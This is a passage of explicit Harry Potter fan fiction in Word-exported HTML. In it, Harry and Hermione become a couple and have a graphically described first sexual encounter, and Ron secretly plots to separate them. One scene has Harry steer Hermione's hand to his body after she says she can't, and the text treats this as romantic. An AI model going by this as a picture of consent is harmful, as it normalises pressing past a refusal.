style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron threw the\ntowel on the ground and raced out the door, he was going to go find Harry and\nHermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The screen door\nbanged loudly against the side of the house as he stepped out.&nbsp; He looked\naround.&nbsp; &#8220;Harry, Hermione. Where are you two?!&#8221; He shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry and\nHermione sprung apart as they heard Ron&#8217;s voice so close to where they\nwere.&nbsp; Hermione looked up at Harry she noticed his hair was messier than\nusual. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry glanced at\nHermione, her lips were swollen and her face was flushed.&nbsp; Even some of\nher hair had been pulled from its braid.&nbsp; Her shoulder strap was hanging\noff her shoulder revealing the thin white bra strap.&nbsp; Harry quickly lifted\nthe shoulder strap just as Ron rounded the corner.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nimmediately turned in the opposite direction as to continue situating herself\nwithout Ron seeing what she was doing. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;There you two\nare, I&#8217;ve been looking for you two for ages.&#8221;&nbsp; Ron said with a\nsmile.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ahh! Ron what happened?&#8221; Harry said trying to hold down his\nlaughter at seeing Ron&#8217;s green sparkly face.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;One word.\nFairies.&#8221; Ron said as he crossed his arms over his chest in irritation hearing\nHarry&#8217;s chuckles of laughter.&nbsp; He looked over at Hermione whose back was\nturned to them. She still seemed mad.&nbsp; &#8220;Hermione can you please get over\nit?&nbsp; Harry didn&#8217;t mean to walk in on you naked.&#8221; Ron paused a\nminute.&nbsp; &#8220;And what are you wearing?&#8221; He thought it looked really silly on\nher, but he wasn&#8217;t going to say anything</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;The fairies\nwanted to play dress up, I was humoring them.&#8221; She said with her back still\ntowards him.&nbsp; &#8220;Besides, I kinda like it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione?\nPlease, please forgive Harry. This silly argument well it&#8217;s not right. You two\nare supposed to be friends.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione took a\nside-glance at Harry and saw him looking at her he gave her some kind of signal\nfor her to play along. So she crossed her arms in front of her.&nbsp; &#8220;I don&#8217;t\nknow Ron, it was really embarrassing. How would you like it if someone you\ntrusted walked in on you in your most vulnerable state?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione please\nit was just an accident.&#8221; Ron said as he stepped towards her he watched as she\ntook another step away from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hey Ron, why\ndon&#8217;t you let me talk to Hermione a moment in private.&nbsp; I&#8217;m sure we can\nwork past this argument.&#8221; Harry said to Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron nodded, &#8220;Sure\nI&#8217;ll just go for a walk or something.&#8221;&nbsp; He sure hoped his friends could\nget past this; it just wasn&#8217;t the same with them at each others throats like\nthat.&nbsp; Ron walked away from his friends.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione turned\nto Harry, &#8220;Okay now what?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What?&#8221; Harry\nfelt confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What is going on\nwith you and I?&#8221; Hermione said searching his eyes for an answer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well I was\nhoping this would mean that you would be my girlfriend, for I am so deeply in\nlove with you.&#8221; Harry said softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione just\nstared,&nbsp; &#8220;Well what do you say?&#8221; She heard Harry say.&nbsp; Hermione\ncleared her throat.&nbsp; &#8220;I hope you don&#8217;t mind me saying yes to that, and\nthat I am too in love with you.&#8221; She looked down shyly, as her face increased\nin color.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry smiled then\nswept her up in his arms holding her tightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Are we going to\ntell anyone?&#8221; Hermione asked looking into his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I figure we&#8217;ll\nwait a few days. You know how Ron can get with change. I think we should give\nhim subtle hints that way it doesn&#8217;t hit him full force.&nbsp; Do you know what\nI mean?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione nodded,\n&#8220;I think so.&#8221;&nbsp; She held him tightly resting her cheek on his\nshoulder.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry sighed with\ncontent as he held her so close, his eyes closed as he breathed in the light\nstrawberry scent of her hair.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron from afar saw\nthem hugging, he figured they must have made up. It was a good thing, he\ncouldn&#8217;t take much more of Hermione&#8217;s rude outbursts.&nbsp; He ran towards them\n&#8220;I&#8217;m glad to see that you two have finally resolved your problems.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione pulled\nout of Harry&#8217;s arms looking at Ron with a smile and almost broke down into\nhysterical laughter. &#8220;Oh great Merlin Ron, what in the world?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Why don&#8217;t we go\nin and see what my mum is making for dinner.&#8221; Ron said trying to change the\nsubject.&nbsp; He noticed something was off as he scanned his friends; they\nlooked differently at each other.&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Oh\nno!&#8221;</i> He said to himself.&nbsp; His worst nightmares were coming true.&nbsp;\nRon&#8217;s eyes narrowed.<i style="mso-bidi-font-style:normal"> &#8216;They must be in\nlove with&nbsp;each other; I&#8217;ll have to think of a way to keep them apart.\nShe&#8217;s mine Harry Potter. MINE.&nbsp; She may love you, but I will get to her\nfirst. FIRST HA.&nbsp; Beat that why don&#8217;t you?&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">A lovely dinner\nwas made, Harry and Hermione kept giving each other quick glances across the\ntable at one another. The Weasleys then took care of the dishes and they played\na quick game of exploding snap while, Harry and Ron played a game of wizard&#8217;s\nchess. Ron won, as usual.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione yawned,\n&#8220;Well I&#8217;m heading up to bed, night all.&#8221; She got to her feet, smiled at her two\nbest friends and left the living room.&nbsp; Soon after Ron decided he was\ntired too.&nbsp; He walked up the stairs and instead of going to his room and\nstopped at Hermione&#8217;s door.&nbsp; He lifted his hand to knock when something\nhit the back of his head hard and he fell to the floor.&nbsp; The giggling\nfairies each grabbed a piece of Ron and dragged him into his own room, and\nclosed the door.&nbsp; He was not going to ruin their plans, no sir-ree. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry too decided\nto call it a night and climbed the stairs he looked over at the door of the\nroom that Hermione was in.&nbsp; He didn&#8217;t feel so sleepy anymore.&nbsp; Harry\ncautiously went over to the room and knocked lightly and the door.&nbsp; The\ndoor opened slowly and Hermione stood there in a dark blue shirt that only went\ndown to her thighs.&nbsp; He couldn&#8217;t help but stare at her long legs.&nbsp;\nHarry snapped out of his trance and looked into her eyes.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione, you\nprobably think I&#8217;m a little forward and all, but&#8212;&#8221; Harry didn&#8217;t have time to\nfinish his thought as he was pulled against her. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Just be quiet\nand get in here.&#8221; She said </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry&#8217;s eyes went\nwide with shock for a moment, but then was replaced by his confident\nsmile.&nbsp; He leaned in covering her mouth with his.&nbsp; Hermione&#8217;s arms\ncircled around him as he stepped inside the room, she had to back up\nsome.&nbsp; Harry then reached for the door and pushed it closed.&nbsp; His\narms then went around her and his hands flattened against her back.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry felt\nHermione&#8217;s mouth open underneath his, their tongues, met and tasted each\nother&#8217;s, forming around every curve, heightening the senses.&nbsp; Hermione\nfelt the wonderful sensations travel through her as she stood\nthere.&nbsp;&nbsp; Harry held on to her tighter, which caused her lower body\npress and move up against his, and he let out a soft groan.&nbsp; Harry gently\npushed her from him and looked her straight in the eye.&nbsp; &#8220;Hermione we have\nto talk about this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione nodded,\n&#8220;Okay.&#8221; She took in a deep breath, hoping to will her heart from beating so\nfast.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry took\nHermione&#8217;s hand in his and led her over to the bed where the sat down on the\nend.&nbsp; &#8220;Now Hermione, I know you are still a virgin, but just how far have\nyou been with any guy?&#8221; He hated asking this question, he really didn&#8217;t want to\nknow the answer. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well what do you\nmean?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;There&#8217;s so much\ntwo people can do together without going all the way.&#8221; He said looking down at\nher hand, which was still in his.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I think I know\nwhat you mean, the most I&#8217;ve done is basically just a lot of kissing. I almost\ntouched a guy, you know on his&#8212;&#8221; Her face was turning bright red, she couldn&#8217;t\neven finish what she was saying.&nbsp; &#8220;But I stopped.&nbsp; I was afraid I\nguess, and I just didn&#8217;t go through with anything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry thought she\nlooked really cute when she blushed like that, he just smiled.&nbsp; &#8220;What made\nyou afraid?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8217;m not really\nsure,&#8221; Hermione said looking away from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well there&#8217;s\nreally nothing to be afraid of.&#8221; Harry said softly.&nbsp; &#8220;Here then, touch\nme.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione&#8217;s eyes\ngrew wide and she tried to pull her hand from his, &#8220;No, no I&#8212;I couldn&#8217;t.&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry held onto\nher hand, &#8220;Why not?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8212;I just can&#8217;t\ndo that, it&#8217;s impossible.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He lifted his\nleft hand and lightly cupped her cheek, and made tiny circles with his thumb\n&#8220;That&#8217;s not true, you can do anything.&#8221;&nbsp; Harry&#8217;s lips softly touched hers.\nHe knew it was more her mind that was telling her she couldn&#8217;t do it, so he\nthought maybe to distract her a bit.&nbsp; So he pressed his lips harder\nagainst hers, and at the same time brought her hand down against his pants.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione gave a\nsoft gasp feeling her him, for some reason she couldn&#8217;t bring herself to move\nit, is this what she was afraid of?&nbsp; Harry shifted a bit and she was\npressed down against the softness of the bed, with him slightly on top of\nher.&nbsp; Hermione&#8217;s heart was speeding up; Harry&#8217;s mouth left hers to travel\ndown her chin, to her neck.&nbsp; He heard her gasp and he smiled against the\nsoft flesh in between her neck and shoulder. He ran his tongue up the side of\nher neck he felt her shiver slightly with delight.&nbsp; He lifted his head so\nhe could look at her, he bend slightly and traced her lips with the tip of his\ntongue; she opened her mouth to him so he could kiss her properly.&nbsp; His\ntongue dipped into her mouth coming in contact with hers, flicking and\ncommanding her to respond.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">While he was\nkissing her, Harry let his fingers travel down her neck coming to the first\nbutton on her shirt.&nbsp; He pulled himself from her a bit. &#8220;If you don&#8217;t want\nme to do something, tell me okay.&nbsp; Whatever you want me to do, I will.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione reached\nup and removed his glasses and tossing them gently to the floor, &#8220;I just want\nto feel nice, and loved.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You are loved\nHermione, so very much.&#8221; And with that he kissed her again.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry&#8217;s hands\nwent again to the buttons on her shirt, and undid them. He pushed the offending\nmaterial out of his way.&nbsp; He lifted his mouth from hers; his lips touched\nher neck, traveling lower over her throat.&nbsp; He stopped inches above her\nbreasts and his eyes caught the glorious site of her curved and full breasts\nonce again. His hand covered her right breast and she gasped out loud.&nbsp; He\nlooked at her watching her reaction, her eyes were blissfully closed. Harry\nwatched her closely, she was so responsive.&nbsp; He teased the tip of her\nbreast a bit watching her squirm around with delight, a small curved smile\nformed at the corners of her mouth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He ran his tongue\ndown the length of her neck, and throat. Down between the valley between her\nbreasts. Harry lifted his head slightly and lightly circled her nipple with the\ntip of his tongue.&nbsp; She gave a deep throaty moan, and it made him want to\nplease her more.&nbsp; He lifted his other hand and covered her other exposed\nbreast teasing and causing her nipple to become erect, he moved his mouth over\nto the other and gave her a thorough worshiping. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione was\nbreathing hard; her nerves were all a flutter. Her mind was shut off and she\nwas responding to everything Harry was doing, she had never felt anything\nremotely like this, and hoping it would never end.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry&#8217;s hand then\ndrifted lower over her tight belly, he lifted his head watching her again in\ncase she wasn&#8217;t too keen on the idea of him touching her so delicately and\nintimately.&nbsp; If she wanted him to stop she would tell him.&nbsp; His hand\ncontinued on down towards it&#8217;s destination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;He lightly\ntraced his fingers along the opening of her sex, pressing her panties so\nintimately against her, she gasped into his mouth.&nbsp; She felt his fingers\nnow inside her panties caressing each fold of her silky softness.&nbsp; He\ninserted his finger into her warmth, and she ripped her mouth from his in her\nblissful cry.&nbsp; He inserted a second finger and she rocked her hips while\nhis thumb teased the soft button that caused the cries of her aching need for\nhim fill the room.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry shifted a\nbit and he gently pushed her legs apart to reveal the jewel of her body.&nbsp;\nHe took in a breath as his tongue lightly flicked at her little button he heard\nher give of a cry of approval and he continued.&nbsp;&nbsp; His tongue also\nentered into the hot crevice of her body, then out again flicking against the\nlittle button of her desire.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;He was\nbringing her higher and higher away from reality, faster and faster, in and out\nof her his fingers moved.&nbsp; She almost couldn&#8217;t keep it in.&nbsp; Harry\nstopped immediately and lifted himself above her a bit.&nbsp; So he could look\nat her, and talk to her.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione if you\nwant me to stop, now would be the time to say it. Cause in a second I won&#8217;t be\nable to.&#8221; Harry searched her eyes.&nbsp; He felt her hands on his waist and his\nshirt being pulled from inside the waistband of his jeans.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">His shirt was off\nof him in an instant as well as the rest of his clothing, they were tossed to\nthe floor.&nbsp; Harry looked at Hermione as he let her do whatever she wanted.\nHe sat up pulling her with him.&nbsp; She was confused he could see it in her\neyes. &#8220;Whatever you want to do, do it. Don&#8217;t think about it. Just feel.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Feel?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes,&#8221; Harry gave\nher a soft smile. &#8220;Just feel. No thinking allowed.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione nodded,\nshe timidly lifted her hand, which was shaking.&nbsp; She was very hesitant.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Just feel\nHermione, just feel.&#8221; His tone was soft.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione took in\na breath and lifted her hand against his cheek.&nbsp; Harry closed his eyes. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry felt her\nother hand come and rest on his shoulder, and travel over his shoulder and down\nhis arm.&nbsp; Hermione moved her hand back up to his shoulder and both her\nhands wandered down over his chest, she was so amazed at the smoothness and\nsilky like feel of his skin that she gasped softly.&nbsp;&nbsp; She leaned in a\npressed her lips to the column of his throat.&nbsp; Her right hand then\ntraveled lower over his stomach, she was still a bit hesitant to venture\nlower.&nbsp; Hermione took in a breath; &#8216;<i style="mso-bidi-font-style:normal">Don&#8217;t\nbe afraid, there&#8217;s nothing to be afraid of.&#8217;</i> She thought to herself and\nclosed her eyes tight.&nbsp; Her hand covered over him and he let out a half\ngasp half moan.&nbsp; She pulled her hand away worried that she hurt him.&nbsp;\n&#8220;I&#8217;m sorry did I do something wrong.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No.&#8221; He grabbed her\nhand again; &#8220;No you did something very right.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I just don&#8217;t\nwant to hurt you.&#8221; She said quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You\ndidn&#8217;t.&#8221;&nbsp; Harry then smiled a bit, &#8220;If you did something to hurt me I\nwould tell you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Okay, let me do\nit again?&#8221; Hermione asked looking him in the eye.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Whatever you\nwant.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione leaned\nin and pressed her lips against his, and her hand covered over him again. But\nthis time she let her closed her fingers around him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;&nbsp;\nHarry&#8217;s arms went around her and he pulled her against his chest as she handled\nhim shyly and not really knowing what to do.&nbsp; He would make suggestions.\n&#8220;Move your hand up and down just a bit.&#8221; He whispered softly into her ear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She did what he\nsuggested, hoping he either liked it or that she wasn&#8217;t hurting him. &#8220;Like\nthat?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes, just like\nthat.&#8221; He breathed out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione was\namazed at the feel of him in her hand; she wondered what was so scary about\nthis.&nbsp; She came to the conclusion that maybe it was the fact that the last\nperson she attempted this with wasn&#8217;t the one she was in love with. Maybe in\nthe back of her mind, she knew it would have been a mistake.&nbsp; But this is\ndifferent. It&#8217;s not scary, it&#8217;s not strange.&nbsp; In fact she rather liked\ndoing this, and all it took was the right person.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione, you\nhave to stop that now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Why? I like\nthis.&#8221; She smiled a bit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry smiled back\nas much as he could; he was over come with his emotions and desire that it was\nalmost impossible.&nbsp; &#8220;I&#8217;m glad you like doing this, but if you don&#8217;t stop\nit will be over.&nbsp; And I don&#8217;t want this to be over just yet, do you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione stopped\nand shook her head. &#8220;No.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry quickly\npressed his mouth against hers, and they fell back down against the mattress,\nhe was completely on top of her. He kissed her slowly, as his hand again\ntraveled down between her thighs.&nbsp; He rubbed her sensitive button with his\nfingers and she cried out into his mouth, the warmth was spreading over his\nfingers. Harry shifted again so that he thighs opened more; he moved his hand\naway and positioned himself at her entrance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He lifted himself\noff of her a bit and put one hand on each side of her, holding himself up on\nshaky arms.&nbsp; Everything was sensitive and all his nerves were raw, he so\nwanted to take her, but he had to show just a little restraint.&nbsp; He had\nbeen with two virgins before, he knew the pain they felt.&nbsp; He wanted to\nmake absolutely sure this is what she wanted because once he continued; she\nwould no longer have this innocence.&nbsp; &#8220;Hermione, if you want to&#8212;&#8221; He was\ncut off when she hooked her arm around his neck and pulled herself up kissing\nhim hard on the mouth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She then pulled\nback from her kiss and looked him in the eye, &#8220;Make me yours Harry, please?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He didn&#8217;t have to\nbe asked twice.&nbsp; Harry kissed her, his mouth nudging hers open and he pressed\nher back down onto the bed again.&nbsp; While still kissing her, he eased a\npath inside of her.&nbsp; Hermione gasped at this new feeling. Harry felt the\nbarrier to her inner sanctuary and stopped, letting her get used to the feel of\nhim there.&nbsp; She was so tight and warm, the satiny walls of her body closed\naround him.&nbsp; He had to fight every ounce of his instinct not to go any\nfurther until she was comfortable.&nbsp; &#8220;This is going to hurt some.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione nodded\nher head, and she felt him push through.&nbsp; She cried out, her eyes squinted\nshut; tears were forming at the corners of her eyes. He waited again and\nwatched Hermione open her eyes, which were filled with tears.&nbsp; He leaned\ndown and kissed her softly then pulled back again.&nbsp; &#8220;I&#8217;m sorry Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8212;It&#8217;s alright.&#8221;\nShe said with a tiny smile upon her lips.&nbsp; Hermione traced his cheek with\ntwo fingers, she saw him give her a reassuring smile and then he leaned down to\ncapture her mouth with his once again. Harry started moving himself in and out\nof her slowly.&nbsp; And the pain that was once there faded more and more,\nuntil all that was left was the feeling of completeness.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione found\nherself kissing him harder as she squeezed him tighter with her thighs as\nmoving herself along with him on pure instinct. She felt him pick up his pace\nand she welcomed it.&nbsp; Harry&#8217;s hands were on her legs and he wrapped them\naround his waist, and moved in deeper.&nbsp; They both let out gasps of\napproval, as he sunk more and more into her body. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He thrust harder\nand harder into her softness, as it formed around him.&nbsp; This was the most\ndelicious feeling, much more then with anyone else.&nbsp;&nbsp; Maybe love did\nmake a difference. Hermione rotated her hips, meeting his powerful thrusts as\nhe pushed her sense higher and higher away.&nbsp; Her limbs clung to him so\ntightly, her arms around him and holding on, her legs squeezing around him and\nshe even pulled him into her.&nbsp; Her mouth found his neck, wandering up to\nhis mouth. Where she kissed him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione felt her\nchest tighten, her heart beating fast.&nbsp; The movement of him, bringing her\ncloser and closer, faster and faster.&nbsp; Harry buried his face in between\nher neck and shoulder as he plunged into her with such a force he felt her body\nclose tightly around him and Hermione arched her back, screaming out into the\ndark night.&nbsp; Everything around her felt small, as she was high above it\nall.&nbsp; She vaguely heard Harry who also reached his edge and then joined\nher voice creating a beautiful melody about the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry was\nbreathing hard as was Hermione, trying to settle down from their recent visit\nto the heavens.&nbsp; His arms held her tight as his head was resting against\nher chest.&nbsp; He listened to the sounds of her heart as it was still\nbeating.&nbsp; It belonged to him, he smiled.&nbsp; Hermione, his best friend\nand now lover. Was his.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He heard her\nbreathing slow; he lifted his head a bit looking at her.&nbsp; She was\nasleep.&nbsp; Harry gazed at her; he gently lifted his 